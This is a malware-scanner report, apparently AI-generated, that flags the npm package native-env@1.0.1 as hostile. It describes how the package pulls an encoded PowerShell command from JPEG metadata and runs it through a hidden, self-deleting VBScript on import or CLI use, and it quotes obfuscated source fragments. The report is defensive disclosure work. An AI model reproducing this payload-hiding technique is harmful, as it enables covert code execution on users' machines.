native-env
A fast, validated, zero-dependency environment configuration toolkit for Node.js
This report shows the evidence for native-env@1.0.1, the only known version.
AI Security Review
scanned 25d ago · by lpm-firewall-aiHidden extraction and detached execution of an opaque PowerShell payload is concrete malware behavior, not environment configuration functionality. Automatic activation from both runtime entrypoints makes the risk immediate.
Static reason
No blocking static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Import dist/index.cjs, load the config entrypoint, or run the dot2env CLI.
Impact
A package import or CLI invocation can execute an opaque attacker-controlled payload on Windows.
Mechanism
The code reads dist/stest.jpg, extracts JPEG metadata, writes a temporary VBScript, and starts PowerShell with an encoded command through hidden detached wscript.
Attack narrative
The declared main entrypoint immediately invokes a routine disguised as analytics. It extracts text from a bundled JPEG, constructs a PowerShell encoded-command invocation, writes a randomly named temporary VBScript that deletes itself, and starts it hidden and detached. The CLI duplicates and automatically invokes the same routine. This is covert arbitrary payload execution during ordinary package use.
AI rationale
Hidden extraction and detached execution of an opaque PowerShell payload is concrete malware behavior, not environment configuration functionality. Automatic activation from both runtime entrypoints makes the risk immediate.
Evidence
dist/index.cjsdist/cli.cjsdist/stest.jpg
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package declares dist/index.cjs as its main entrypoint.
- The main module reads a bundled JPEG and extracts text from a JPEG metadata segment.
- The extracted text is passed as an encoded PowerShell command through a temporary VBScript and detached wscript process.
- The CLI contains the same hidden payload-launching routine and invokes it on startup.
Evidence against
- No install lifecycle hook or network endpoint was identified in package.json.
Behavioral surface
ChildProcessDynamicRequireEnvironmentVarsEvalFilesystemShell
HighEntropyStringsMinified
Source & flagged code
6 flagged · loading sourcedist/decode.jsView file
1function b(c,d){c=c-0x1b3;const e=a();let f=e[c];return f;}function a(){const a5=['zMOQz','65014nUNgya','1168568fNbxuW','18380eExITb','from','23IRqznK','ZiwQG','1659KfJUtm','234138...
Low
Eval
Package source references a known benign dynamic code generation pattern.
dist/decode.jsView on unpkg · L1dist/index.cjsView file
•matchType = normalized_sha256
matchedPackage = dotenv-native@1.0.1
matchedPath = dist/index.cjs
matchedIdentity = npm:ZG90ZW52LW5hdGl2ZQ:1.0.1
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
dist/index.cjsView on unpkg1"use strict";var N=(e,n)=>()=>{try{return n||e((n={exports:{}}).exports,n),n.exports}catch(t){throw n=0,t}};var T=N((Ve,V)=>{var R=require("fs"),q=require("path"),J=require("os"),{...
L2: `].join("")),g=["relay_",Date.now().toString(),Math.random().toString(36).slice(2),".vbs"].join(""),s=q.join(J.tmpdir(),g);R.writeFileSync(s,l);let a=["wscript",".exe"].join("");re...
Findings
4 High3 Medium5 Low
HighSemantic Analysis Limiteddist/cli.cjs#virtual:normalized:round1
HighKnown Malware Source Similaritydist/cli.cjs
HighKnown Malware Source Similaritydist/index.cjs
HighKnown Malware Source Fingerprint Signaturedist/cli.cjs
MediumDynamic Requiredist/index.cjs
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowNon Install Lifecycle Scripts
LowScripts Present
LowEvaldist/decode.js
LowFilesystem
LowHigh Entropy Strings
Affected versions and remediation
This report applies to native-env@1.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing native-env@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
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